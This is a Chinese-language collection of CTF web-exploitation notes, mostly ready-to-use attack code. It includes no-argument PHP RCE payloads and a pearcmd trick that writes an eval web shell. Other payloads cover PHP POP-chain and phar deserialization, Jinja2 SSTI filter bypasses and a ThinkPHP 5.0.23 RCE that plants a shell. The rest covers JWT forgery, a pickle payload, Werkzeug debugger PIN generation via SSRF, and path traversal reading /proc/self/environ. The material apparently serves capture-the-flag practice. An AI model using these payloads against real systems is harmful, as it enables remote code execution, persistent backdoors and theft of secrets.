目录操作：
getchwd() ：函数返回当前工作目录。
scandir() ：函数返回指定目录中的文件和目录的数组。
dirname() ：函数返回路径中的目录部分。
chdir() ：函数改变当前的目录。

数组相关的操作：
end() - 将内部指针指向数组中的最后一个元素，并输出。
next() - 将内部指针指向数组中的下一个元素，并输出。
prev() - 将内部指针指向数组中的上一个元素，并输出。
reset() - 将内部指针指向数组中的第一个元素，并输出。
each() - 返回当前元素的键名和键值，并将内部指针向前移动。
array_shift() - 删除数组中第一个元素，并返回被删除元素的值。
array_reverse() -逆转数组
array_flip()：交换数组中的键和值，成功时返回交换后的数组，如果失败返回 NULL。
array_rand()：从数组中随机取出一个或多个单元，如果只取出一个(默认为1)，                         array_rand() 返回随机单元的键名。 否则就返回包含随机键名的数组。 完               成后，就可以根据随机的键获取数组的随机值。
 array_flip()和array_rand()配合使用可随机返回当前目录下的文件名


读文件
show_source() - 对文件进行语法高亮显示。
readfile() - 输出一个文件。
highlight_file() - 对文件进行语法高亮显示。
file_get_contents() - 把整个文件读入一个字符串中。
readgzfile() - 可用于读取非 gzip 格式的文件


关键函数：
getenv() ：获取环境变量的值  
           php7.0以下返回bool(false)
           php7.0以上正常回显
           payload:
           ?code=var_dump(getenv());
           ?code=var_dump(getenv(phpinfo()));
           
           
           
getallheaders()：获取所有 HTTP 请求标头，是apache_request_headers()的别名函                    数，但是该函数只能在Apache环境下使用

                  payload:
                  1) GET /1.php?code=eval(end(getallheaders()));                              HTTP/1.1
                     .....
                     flag: system('id');
                  2) GET /1.php?exp=eval(end(apache_request_headers()));                      HTTP/1.1
                     ....
                     flag: system('id');      php7以上
                    
                     
                     
get_defined_vars()：返回由所有已定义变量所组成的数组，会返回$_GET
                   ,$_POST,$_COOKIE,$_FILES全局变量的值，返回数组顺序为get-                       >post->cookie->files
           current()：返回数组中的当前单元，初始指向插入到数组中的第一个单元，也                        就是会返回$_GET变量的数组值
          payload:
          1） code=eval(end(current(get_defined_vars())));
              &flag=system('ls');    利用全局变量进RCE
          2）flag=system('id');&code=eval(pos(pos(get_defined_vars())));
           
           pos() 函数返回数组中的当前元素的值。

           该函数是 current() 函数的别名。
                  
                  
                 
session_start()：启动新会话或者重用现有会话，成功开始会话返回 TRUE ，反之返回                      FALSE,返回参数给session_id()
session_id()：获取/设置当前会话 ID，返回当前会话ID。 如果当前没有会话，则返回空字符               串（””）
scandir()  文件读取

?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=@eval($_POST[0]);?>+/tmp/cmd.php

?file=/tmp/cmd
post:0=system("cat /flag");

?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=@eval($_POST[0]);?>+/tmp/cmd.php

它会把?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=@eval($_POST[0]);?>+/tmp/cmd.php

改为?+config-create+/&file=/usr/local/lib/php/pearcmd&/%3C?=@eval($_POST[0]);?%3E+/tmp/cmd.php

 <?php
 
class Begin{
    public $name;
 
    public function __destruct()
    {
 
    }
}
 
class Then{
    private $func;
	
	public function __construct()
 
    {
 
        $s=new Super();
 
        $this->func=$s;
 
    }
 
    public function __toString(){
        ($this->func)();//这里把Super当函数调用，实际触发了Super()里面的__invoke方法
        return "Good Job!";
    }
}
 
class Handle{
    protected $obj;
	public function __construct()
 
    {
 
        $this->obj=new CTF();//实例化CTF（）后给这里的obj赋值
 
    }
 
    public function __call($func, $vars)
    {
        $this->obj->end();//调用了CTF（）里的end()方法
    }
 
}
 
class Super{
    protected $obj;
	public function __construct()
 
    {
 
        $this->obj=new Handle();//为protected $obj赋值
    }
    public function __invoke()
    {
        $this->obj->getStr();//Handle 类没有定义 getStr() 方法，因此在调用这个方法时会触发 handle里的__call() 魔术方法
    }
 
    public function end()
    {
        die("==GAME OVER==");
    }
}
 
class CTF{
    public $handle;
 
    public function __construct()
 
    {
 
        $w=new WhiteGod();
 
        $this->handle=$w;
 
    } 
    public function end()
    {
        unset($this->handle->log);//在这个end()方法中我们试图用unset（）删除WhiteGod()里面的log属性
    }
 
}
 
class WhiteGod{
    public $func='system';
    public $var="cat /flag";
 
    public function __unset($var)
    {
        ($this->func)($this->var);    
    }
}
$b=new Begin();
$b->name=new Then();
echo urlencode(serialize($b)); 

需要特别注意的是在执行 unset($this->handle->log) 时，会尝试调用 $this->handle 对象的 __unset() 魔术方法。该方法将使用属性 $this->func 的值作为可调用函数，并将属性 $this->var 的值作为参数来执行。

因此，在 WhiteGod 类中调用 unset($this->handle->log) 将实际上执行 ($this->func)($this->var)，相当于执行 system('ls /')，即执行系统命令 ls /

整体来说是：

__destruct() 中，由于 $name 包含一个 Then 对象，会触发 __toString() 魔术方法。在 __toString() 方法中，首先调用 $this->func 属性指向的对象（即 Super 对象），接下来进入 Super 类，由于该类含有一个 __invoke() 魔术方法，因此在调用 Super 对象时会触发 __invoke() 方法。在 __invoke() 方法中，又会调用 $this->obj->getStr() 方法，并进入 Handle 类中。

由于 Handle 类没有定义 getStr() 方法，因此在调用这个方法时会触发 __call() 魔术方法。在 __call() 方法中，将会调用 $this->obj->end() 方法，并触发 CTF 类中的 end() 方法。

在 CTF 类的 end() 方法中，我们会调用 unset($this->handle->log)，从而触发 WhiteGod 类的 __unset() 魔术方法。在 __unset() 方法中，我们构造了一个命令行字符串，然后通过执行漏洞执行了系统命令。

?name={%print""|attr("__class__")|attr("__base__")|attr("__subclasses__")()%}

?name={%print""|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr(132)|attr("__in"+"it__")|attr("__globals__")%}

eval(__import__('os').popen('ls /').read())

所以发现flag之后也是一样的改为__import__('os').popen('cat /flag').read() 

?name={%print""|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr(132)|attr("__in"+"it__")|attr("__globals__")|attr("get")("__builtins__")|attr("get")("eval")("eval(chr(95)%2bchr(95)%2bchr(105)%2bchr(109)%2bchr(112)%2bchr(111)%2bchr(114)%2bchr(116)%2bchr(95)%2bchr(95)%2bchr(40)%2bchr(39)%2bchr(111)%2bchr(115)%2bchr(39)%2bchr(41)%2bchr(46)%2bchr(112)%2bchr(111)%2bchr(112)%2bchr(101)%2bchr(110)%2bchr(40)%2bchr(39)%2bchr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%2bchr(39)%2bchr(41)%2bchr(46)%2bchr(114)%2bchr(101)%2bchr(97)%2bchr(100)%2bchr(40)%2bchr(41))")%}

{% print(get_flashed_messages.__globals__.os["pop"+"en"]("cat /flag").read()) %}

 <?php
highlight_file(__FILE__);
function waf($str){
    return str_replace("bad","good",$str);
}

class GetFlag {
    public $key;
    public $cmd = "whoami";
    public function __construct($key)
    {
        $this->key = $key;
    }
    public function __destruct()
    {
        system($this->cmd);
    }
}

unserialize(waf(serialize(new GetFlag($_GET['key'])))); www-data www-data 

?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:9:"cat /flag";}

POP链：__destruct()->__toString()->__get($var)->__invoke()->Web

<?php
 
 
class Start{
    public $errMsg;
 
}
 
class Pwn{
    public $obj;
 
 
}
 
class Reverse{
    public $func;
 
}
 
class Web{
    public $func = 'system';
    public $var = 'ls /';
 
}
 
class Crypto{
    public $obj;
 
}
 
class Misc{
 
}
$a = new Start();
$a->errMsg = new Crypto();
$a->errMsg->obj = new Reverse();
$a->errMsg->obj->func = new Pwn();
$a->errMsg->obj->func->obj = new Web();
echo serialize($a);

O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:4:"ls /";}}}}}
改成
O:5:"Start":2:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:4:"ls /";}}}}

O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:4:"ls /";}}}}}
改成
O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:4:"ls /";}}}}

..././..././..././etc/passwd
..././..././..././app/app.py
..././..././..././etc/config.py

{'user':'{%print(((g[\'pop\'][\'_\'*2~\'g\'\'lobals\'~\'_\'*2][\'_\'*2~\'b\'\'uiltins\'~\'_\'*2][\'_\'*2~\'import\'~\'_\'*2](\'OS\'|lower)[\'p\'\'open\'](\'CAT /y*\'|lower))[\'read\']()))%}'}

<?php
highlight_file(__FILE__);
error_reporting(0);  
class story{
    private $user='admin';
    public $pass;
    public $eating;
    public $God='false';
    public function __wakeup(){
        $this->user='human';
        if(1==1){
            die();
        }
        if(1!=1){
            echo $fffflag;
        }
    }
    public function __construct(){
        $this->user='AshenOne';
        $this->eating='fire';
        die();
    }
    public function __tostring(){
        return $this->user.$this->pass;
    }
    public function __invoke(){
        if($this->user=='admin'&&$this->pass=='admin'){
            echo $nothing;
        }
    }
    public function __destruct(){
        if($this->God=='true'&&$this->user=='admin'){
            system($this->eating);
        }
        else{
            die('Get Out!');
        }
    }
}                 
if(isset($_GET['pear'])&&isset($_GET['apple'])){
    // $Eden=new story();
    $pear=$_GET['pear'];
    $Adam=$_GET['apple'];
    $file=file_get_contents('php://input');
    file_put_contents($pear,urldecode($file));
    file_exists($Adam);
}
else{
    echo '多吃雪梨';
} 多吃雪梨

<?php
class story{
    public $eating = 'cat /f*';
    public $God='true';
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //生成时后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new story();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

from hashlib import sha1
 
import gzip
 
file = open(r'D:\phpstudy_pro\WWW\php\phar.phar', 'rb').read()  #文件的路径
 
data = file[:-28]  # 获取需要签名的数据
# data = data.replace(b'3:{', b'4:{') #更换属性值，绕过__wakeup
 
final = file[-8:]  # 获取最后8位GBMB标识和签名类型
 
newfile = data + sha1(data).digest() + final  # 数据 + 签名 + 类型 + GBMB
 
open(r'D:\phpstudy_pro\WWW\php\new.phar', 'wb').write(newfile)  # 写入到新的phar文件
 
newf = gzip.compress(newfile)
with open(r'D:\phpstudy_pro\WWW\php\2.jpg', 'wb') as file: #更改文件后缀
     file.write(newf)

=ThinkPHP是一款运用极广的PHP开发框架

其5.0.23以前的版本中，获取method的方法中没有正确处理方法名，导致攻击者可以调用Request类任意方法并构造利用链，从而导致远程代码执行漏洞

1.访问靶机地址+端口号 进入首页
2.bp抓包变更请求为POST，传入参数，其中pwd为系统执行命令可进行一系列操作
3._method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd

_method=__construct&filter[]=exec&method=get&server[REQUEST_METHOD]=echo%20'<?php%20eval($_POST['cmd']);?>'%20>%20/var/www/public/1.php

import base64
from datetime import timedelta 
from json import loads, dumps 
from jwcrypto.common import base64url_decode, base64url_encode  
def topic(topic):
    """ Use mix of JSON and compact format to insert forged claims including long expiration """
    [header, payload, signature] = topic.split('.')
    parsed_payload = loads(base64url_decode(payload))
    parsed_payload['role'] = "admin"
    fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))
    return '{"  ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'
token = topic('eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2OTc2ODkzNjQsImlhdCI6MTY5NzY4NTc2NCwianRpIjoiOTFvNVVqWXJPTUFmMmRYTVBaajFDUSIsIm5iZiI6MTY5NzY4NTc2NCwicm9sZSI6Imd1ZXN0IiwidXNlcm5hbWUiOiJib29naXBvcCJ9.jc3SP9ETBLURk3lRZZTPsgg-GQIuPpsIBkR710myDdFVy8e1PkVg7vbI4WTj8nnvh_ly9bD2sJJB3MSyXpTRj2ofPTitRjVWf9uZNjG1llWs21aHhjr9JUTPTPrYrQ0DpdvUUGudzV9raR5GSq28Qb_iLEQ4XIWKoGDtFNOvLeqcJcGotR1ygYAuPpTHaX2xidlzSYDbSbBGE55GI1zFS1w1PmsgliAyEJ1Z5IKz5qVZ07D6M-55L15cgWcaoQ9psjCyR4xX4A9GKPlYLwGxLVH0bRRkuyQn2l5JRBAzpMus7qY4srbLwF8XUPqKbje1vaUOt2DAsZA_SeAGw2iziQ')
print(token) opcode=b'''cos
system
(S'' 
tRcos 
system 
(S'whoami' 
tR.''' 
print(base64.b64encode(opcode))

 <?php
    
    if ($_REQUEST['hint'] == ["your?", "mine!", "hint!!"]){
        header("Content-type: text/plain");
        system("ls / -la");
        exit();
    }
    
    try {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 60);
        curl_setopt($ch, CURLOPT_HTTPHEADER, $_REQUEST['lolita']);
        $output = curl_exec($ch);
        echo $output;
        curl_close($ch);   
    }catch (Error $x){
        highlight_file(__FILE__);
        highlight_string($x->getMessage());
    }

?> curl_setopt(): The CURLOPT_HTTPHEADER option must have an array value 

from flask import Flask, request, session, render_template, render_template_string 
import os, base64 
#from NeepuF1Le import neepu_files 
app = Flask(__name__) 
app.config['SECRET_KEY'] = '******' 
@app.route('/') 
def welcome(): 
    if session["islogin"] == True: 
        return "flag{***********************}" 
    app.run('0.0.0.0', 1314, debug=True)

#sha1
import hashlib
import time
from itertools import chain
probably_public_bits = [    
    'root'# /etc/passwd, /etc/shadow验证    
    'flask.app',# 默认值    
    'Flask',# 默认值    
    '/usr/local/lib/python3.10/dist-packages/flask/app.py' # 报错得到]
bid = "8cab9c97-85be-4fb4-9d17-29335d7b2b8a"
did = "12:hugetlb:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-pod9a6962f3_0518_44b9_b39d_99b5cbdcbde2.slice/docker-5393cbb4c79037280b98e5c09ab1df1a765d545afcde1166a1af321b068488e8.scope"
did = did.strip().rpartition("/")[2]
print(did)
private_bits = [
    '46292774133529',#  /sys/class/net/eth0/address 16进制转10进制 
    #machine_id由三个合并(docker就后两个)：1. /etc/machine-id2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup
    bid+did#  /proc/sys/kernel/random/boot_id
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')
    
cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
           rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                         for x in range(0, len(num), group_size))
           break
    else:
        rv = num
def hash_pin(pin: str) -> str:
    return hashlib.sha1(f"{pin} added salt".encode("utf-8", "replace")).hexdigest()[:12]
print(rv)
print(cookie_name + "=" + f"{int(time.time())}|{hash_pin(rv)}")
    #890KUjqCgmGiRRNLpH8a
    #http://localhost:1314/console?&__debugger__=yes&cmd=__import__("os").popen("ps").read()&frm=0&s=890KUjqCgmGiRRNLpH8a

?lolita[]=Cookie:__wzd3d910b5d784ac96048c1=1702047018|3fe90e7adf4c &url=http://127.0.0.1:1314/console? &__debugger__=yes&pin=200-001-804 &cmd=__import__("os").popen("ls").read() &frm=0 &s=lrLipQkNez3cZzDYShlU

GET /?lolita[]=Cookie:__wzd3d910b5d784ac96048c1=1702047018|3fe90e7adf4c&url=http://127.0.0.1:1314/console?%26__debugger__=yes%26pin=200-001-804%26cmd=__import__("os").popen("cat%2B/flag").read()%26frm=0%26s=lrLipQkNez3cZzDYShlU

 <?php         
if (isset($_GET['page'])) {          
    $page ='pages/' .$_GET['page'].'.php';        
}
else
{          
    $page = 'pages/dashboard.php';        
}        
if (file_exists($page)) {          
    require_once $page;         
}
else{          
    require_once 'pages/error_page.php';        
} ?>

GET /index.php?+config-create+/&page=/../../../../../usr/local/lib/php/pearcmd&/<?=@eval($_POST[1])?>+/var/www/html/1.php

HTTP/1.1 200 OK
content-type: application/json; charset=utf-8
content-length: 50
date: Tue, 06 Oct 2023 13:39:21 GMT
connection: keep-alive
keep-alive: timeout=5

{"code":0,"msg":"success","logged":true,"data":[{"name":"すずめ feat.十明 - RADWIMPS,十明.flac","hash":"5da3818f2b481c261749c7e1e4042d4e545c1676752d6f209f2e7f4b0b5fd0cc","size":27471829,"uploader":"admin","uploader_uid":"100000","shareTime":1708341555726,"isYours":true,"isOwn":true,"ownFn":"すずめ feat.十明 - RADWIMPS,十明.flac"},{"name":"Windows 12 Concept.png","hash":"469db0f38ca0c07c3c8726c516e0f967fa662bfb6944a19cf4c617b1aba78900","size":440707,"uploader":"admin","uploader_uid":"100000","shareTime":1708341557215,"isYours":true,"isOwn":true,"ownFn":"Windows 12 Concept.png"},{"name":"信息安全技术信息安全事件分类分级指南.pdf","hash":"03dff115bc0d6907752796fc808fe2ef0b4ea9049b5a92859fd7017d4e96c08f","size":330767,"uploader":"admin","uploader_uid":"100000","shareTime":1708341557290,"isYours":true,"isOwn":true,"ownFn":"信息安全技术信息安全事件分类分级指南.pdf"},{"name":"不限速，就是快！.jpg","hash":"2de8696b9047f5cf270f77f4f00756be985ebc4783f3c553a77c20756bc68f2e","size":32920,"uploader":"admin","uploader_uid":"100000","shareTime":1708341557304,"isYours":true,"isOwn":true,"ownFn":"不限速，就是快！.jpg"},{"name":"test.req.http","hash":"83a065c4db184a69d902a6e5cd56fa43ccb6dc6d0eaee7ae92ebd31ae983e0b4","size":1085,"uploader":"admin","uploader_uid":"100000","shareTime":1708341559212,"isYours":true,"isOwn":true,"ownFn":"test.req.http"}]}

POST /api/info/drive/sharezone HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cache-Control: no-cache
Connection: keep-alive
Content-Length: 0
Content-Type: application/x-www-form-urlencoded
Cookie: uid=100000; token=eyJ1c2VybmFtZSI6ImFkbWluIiwidWlkIjoiMTAwMDAwIiwidG9rZW4iOiIyMTBjZmQ2NTkyZWM0ZjRjMmMzYjljZTY3ZDExNDVmZmQxNWM5MjZlNjI3YmMwYjU2MGUxMmUxNmI2Yjg0ZDg0In0uXh5BcmMxSFBCZV41LSAhLw.XW5QWmdTHl1HLAZLck9MAgs7BQk3ABQKFCoHGSNNTAUPOVgLYldIDRYvUBR3GUwCCTlWDWcBSl0TfwYfdU0aAl1pAQFnABgAEXcFHnAWTgcIOlVbMQAeXUJ4BkghT01RC2hVD2RXHgBHL1MbcRhNXAw+AV1jW0oKR35SG38YS10
Host: localhost:21920
Origin: http://localhost:21920
Pragma: no-cache
Referer: http://localhost:21920/sharezone
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0
sec-ch-ua: "Microsoft Edge";v="119", "Chromium";v="119", "Not?A_Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"

const Router = require("koa-router");
const router = new Router();
const CONFIG = require("../../runtime.config.json");
const Res = require("../../components/utils/response");
const FileSignUtil = require("../../components/utils/file-signature");
const { DriveUtil } = require("../../components/utils/database.utilities");
const fs = require("fs");
const path = require("path");
const { verifySession } = require("../../components/utils/session");
const logger = global.logger;
 
/**
 * @deprecated
 * ! FIXME: 发现漏洞，请进行修改
 */
router.get("/s/:hashfn", async (ctx, next) => {
    const hash_fn = String(ctx.params.hashfn || '')
    const hash = hash_fn.slice(0, 64)
    const from_uid = ctx.query.from_uid
    const custom_fn = ctx.query.fn
 
    // 参数校验
    if (typeof hash_fn !== "string" || typeof from_uid !== "string") {
        // invalid params or query
        ctx.set("X-Error-Reason", "Invalid Params");
        ctx.status = 400; // Bad Request
        return ctx.res.end();
    }
 
    // 是否为共享的文件
    let IS_FILE_EXIST = await DriveUtil.isShareFileExist(hash, from_uid)
    if (!IS_FILE_EXIST) {
        ctx.set("X-Error-Reason", "File Not Found");
        ctx.status = 404; // Not Found
        return ctx.res.end();
    }
 
    // 系统中是否存储有该文件
    let IS_FILE_EXIST_IN_STORAGE
    try {
        IS_FILE_EXIST_IN_STORAGE = fs.existsSync(path.resolve(CONFIG.storage_path, hash_fn))
    } catch (e) {
        ctx.set("X-Error-Reason", "Internal Server Error");
        ctx.status = 500; // Internal Server Error
        return ctx.res.end();
    }
    if (!IS_FILE_EXIST_IN_STORAGE) {
        logger.error(`File ${hash_fn.yellow} not found in storage, but exist in database!`)
        ctx.set("X-Error-Reason", "Internal Server Error");
        ctx.status = 500; // Internal Server Error
        return ctx.res.end();
    }
 
    // 文件名处理
    let filename = typeof custom_fn === "string" ? custom_fn : (await DriveUtil.getFilename(from_uid, hash));
    filename = filename.replace(/[\\\/\:\*\"\'\<\>\|\?\x00-\x1F\x7F]/gi, "_")
 
    // 发送
    ctx.set("Content-Disposition", `attachment; filename*=UTF-8''${encodeURIComponent(filename)}`);
    // ctx.body = fs.createReadStream(path.resolve(CONFIG.storage_path, hash_fn))
    await ctx.sendFile(path.resolve(CONFIG.storage_path, hash_fn)).catch(e => {
        logger.error(`Error while sending file ${hash_fn.yellow}`)
        logger.error(e)
        ctx.status = 500; // Internal Server Error
        return ctx.res.end();
    })
})
 
module.exports = router;

router.get("/s/:hashfn", async (ctx, next) => {
    const hash_fn = String(ctx.params.hashfn || '')
    const hash = hash_fn.slice(0, 64)
    const from_uid = ctx.query.from_uid
    const custom_fn = ctx.query.fn

curl http://node4.buuoj.cn:29720/s/469db0f38ca0c07c3c8726c516e0f967fa662bfb6944a19cf4c617b1aba78900/../../../../proc/self/environ?from_uid=100000 -o 1.txt